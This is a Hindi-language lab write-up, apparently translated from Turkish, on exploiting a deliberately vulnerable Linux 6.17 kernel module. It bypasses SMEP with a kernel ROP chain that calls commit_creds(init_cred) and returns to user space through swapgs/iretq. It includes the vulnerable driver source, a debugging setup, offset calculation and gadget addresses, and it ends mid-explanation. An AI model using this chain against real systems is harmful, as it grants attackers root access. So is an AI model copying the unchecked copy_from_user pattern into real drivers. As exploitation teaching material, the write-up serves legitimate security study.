Linux Kernel 6.17 स्टैक ओवरफ़्लो - kROP के माध्यम से SMEP बायपास (तुर्की राइटअप)
लेखक: expo
रेपो: https://github.com/exploitbey/kernel-krop-smep-bypass
इस writeup में, SMEP और SMAP के सक्रिय होने पर Linux kernel 6.17.0-5-generic पर kernel stack overflow vulnerability का शोषण कैसे किया जाए, इसकी जाँच की गई है। पारंपरिक ret2user विधि इस सुरक्षा के सामने अप्रभावी रहती है। विकल्प के रूप में Kernel ROP (kROP) चेन का उपयोग किया गया है।
अन्य सुरक्षाएँ (KASLR, KPTI, shadow stack, stack canary) इस वातावरण में अक्षम कर दी गई हैं; ध्यान केवल SMEP bypass तकनीक पर केंद्रित है।
SMEP (Supervisor Mode Execution Prevention) प्रोसेसर स्तर पर एक सुरक्षा है। Kernel उपयोगकर्ता स्थान (user space) के मेमोरी पेजों में मौजूद कोड को निष्पादित नहीं कर सकता। अर्थात्, यदि आप उपयोगकर्ता बफ़र में shellcode लिखकर kernel को वहाँ भेजते हैं, तो CPU आपको तुरंत रोक देता है।
पारंपरिक ret2user के विफल होने का यही कारण है।
आप GDB से SMEP और SMAP के सक्रिय होने की पुष्टि कर सकते हैं:
info register cr4
यदि मान 0x372ef0 है तो इसे बाइनरी में बदलकर बिट्स देखें:
0x372ef0 → 0011 0111 0010 1110 1111 0000
दाएँ से बाएँ, index 0 से शुरू करते हुए:
| बिट समूह | सीमा | अर्थ |
|---|---|---|
| 0000 | 0–3 | — |
| 1111 | 4–7 | Bit 5=PAE, Bit 7=PGE |
| 1110 | 8–11 | Bit 9=OSFXSR, Bit 10=OSXMMEXCPT |
| 0010 | 12–15 | Bit 13=VMXE |
| 0111 | 16–19 | Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE |
| 0011 | 20–23 | Bit 20=SMEP ✓, Bit 21=SMAP ✓ |
Bit 20 set → SMEP सक्रिय। CPU, Ring 0 से Ring 3 पेजों पर कोड चलाने को ब्लॉक कर रहा है।
एक नोट: Kernel 5.16 से CR4 रजिस्टर "पिन" कर दिया गया है। पहले mov cr4, rax शैली के gadget'ों से SMEP बिट साफ़ किया जा सकता था। अब वह दरवाज़ा बंद है। लेकिन यह महत्वपूर्ण नहीं है क्योंकि हम CR4 को बिल्कुल भी नहीं छुएँगे।
Guest से host पर vmlinuz कॉपी किया जाना चाहिए। कॉपी करने के बाद इसे vmlinux_raw में बदलें:
./extract-vmlinux vmlinuz > vmlinux_raw
स्क्रिप्ट: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
Guest में GRUB पंक्ति:
GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"
QEMU स्टार्टअप कमांड:
qemu-system-x86_64 \
-m 4G \
-enable-kvm \
-cpu host \
-drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
-vga qxl \
-device virtio-serial-pci \
-device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
-chardev spicevmc,id=spicechannel0,name=vdagent \
-display spice-app \
-net nic -net user \
-usb -usbdevice tablet \
-vga virtio \
-s -S
सिस्टम बूट होते समय host पर GDB प्रारंभ करें:
gdb ./vmlinux_raw
# ardından: continue
स्रोत: rop.c
__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos) {
char tampon[64];
// ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
if (_copy_from_user(tampon, buf, count)) {
return -EFAULT;
}
return count;
}
बफ़र 64 बाइट निश्चित है। _copy_from_user यह कभी नहीं जाँचता कि कितने बाइट कॉपी किए जाएँगे। उपयोगकर्ता स्थान से 65 बाइट भेजना ही पर्याप्त है; kernel stack बिगड़ने लगता है।
शोषण प्रवेश बिंदु: /dev/vuln_device
sudo su
make # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko
फिर rop.ko को host पर कॉपी करें (GDB के लिए प्रतीक जानकारी आवश्यक है)।
x64 कॉलिंग कन्वेंशन: पहला आर्ग्युमेंट RDI, दूसरा RSI, तीसरा RDX, चौथा RCX।
जब device_write को कॉल किया जाता है, तो kernel stack में रिटर्न एड्रेस rbp+8 स्थिति में होता है। हमारा लक्ष्य इस एड्रेस को नियंत्रित करना है।
LKM को डीबग प्रतीकों के साथ कंपाइल किया गया है, इसलिए हम GDB के साथ ठीक से ट्रेस करेंगे।
Guest में मॉड्यूल एड्रेस देखें:
cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)
cat /sys/module/rop/sections/.text # 0xffffffffc092f000
cat /sys/module/rop/sections/.data # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss # 0xffffffffc0a15640
होस्ट पर GDB में Ctrl+C दबाएँ, प्रतीक लोड करें:
add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640
_copy_from_user से पहले और बाद में ब्रेकपॉइंट:
b *0xffffffffc092f059
b *0xffffffffc092f05e
continue
Metasploit के साथ 88 बाइट का pattern बनाएं:
msf-pattern_create -l 88
Pattern को payload.txt के रूप में सहेजें, find_offset के साथ भेजें:
gcc -o find_offset find_offset.c
./find_offset payload.txt
Kernel breakpoint पर रुकेगा। GDB में rbp+8 की सामग्री नोट करें। दूसरे breakpoint पर आप देखेंगे कि rbp+8 pattern से भर गया है।
Host पर offset की गणना करें:
msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72
वापसी पता 72वें बाइट से लिखा जा रहा है।
ROP SMEP को क्यों बायपास कर सकता है? क्योंकि ROP kernel के अपने .text क्षेत्र में पहले से मौजूद कोड का उपयोग करता है। यह नया कोड नहीं चलाता। यह उपयोगकर्ता मेमोरी को बिल्कुल नहीं छूता। SMEP इसे देख नहीं सकता।
iretq से पहले user space रजिस्टरों को सहेजें:
__asm__ volatile (
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
::: "memory"
);
"memory" क्लोबर क्रिटिक: यदि GCC इन मानों को कैश करता है, तो iretq फ़्रेम दूषित हो जाएगा।
payload[i++] = POP_RDI_RET; // pop rdi ; ret
payload[i++] = INIT_CRED; // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS; // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir
prepare_kernel_cred क्यों नहीं है?
Kernel 6.17 में mov rdi, rax ; ret जैसा कोई साफ़ register transfer gadget नहीं मिला। init_cred पहले से ही एक स्थिर पता है, pop rdi; ret पर्याप्त है। Payload भी छोटा रहता है: 144 byte।
Gadget पते:
commit_creds और init_cred:
cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds
cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred
pop rdi ; ret → opcode \x5f\xc3
.text सीमा:
Başlangıç : 0xffffffff81000000
Boyut : 0x1637970
Bitiş : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3
पहला परिणाम 0xffffffff812582bd → GDB में x/3i 0xffffffff812582bd से सत्यापित करें। साफ़ pop rdi; ret सरणी।
swapgs + iretq → opcode: 0x0F 0x01 0xF8 और 0x48 0xCF
python3 find_swapgs.py vmlinux_raw
स्क्रिप्ट दो उम्मीदवार लौटाती है। 0xffffffff81001866 में बहुत अधिक पॉप हैं, स्टैक बिगड़ जाता है। 0xffffffff8100118f की जाँच करें:
0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...] ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne 0xffffffff81001241
जहाँ उसने छोड़ दिया:
0xffffffff81001241: test BYTE PTR [rsp+0x20], 0x4
0xffffffff81001246: jne 0xffffffff8100124a
0xffffffff81001248: iretq
यह प्रवाह क्यों काम करता है? user_cs = 0x33, user_ss = 0x2b:
test [rsp+0x8], 0x3 → 0x33 AND 0x03 = 0x03 → ZF=0 → jne çalışır → 0x81001241'e atlar
test [rsp+0x20], 0x4 → 0x2b AND 0x04 = 0x00 → ZF=1 → jne çalışmaz → iretq çalışır
iretq स्टैक से क्रमानुसार लेता है: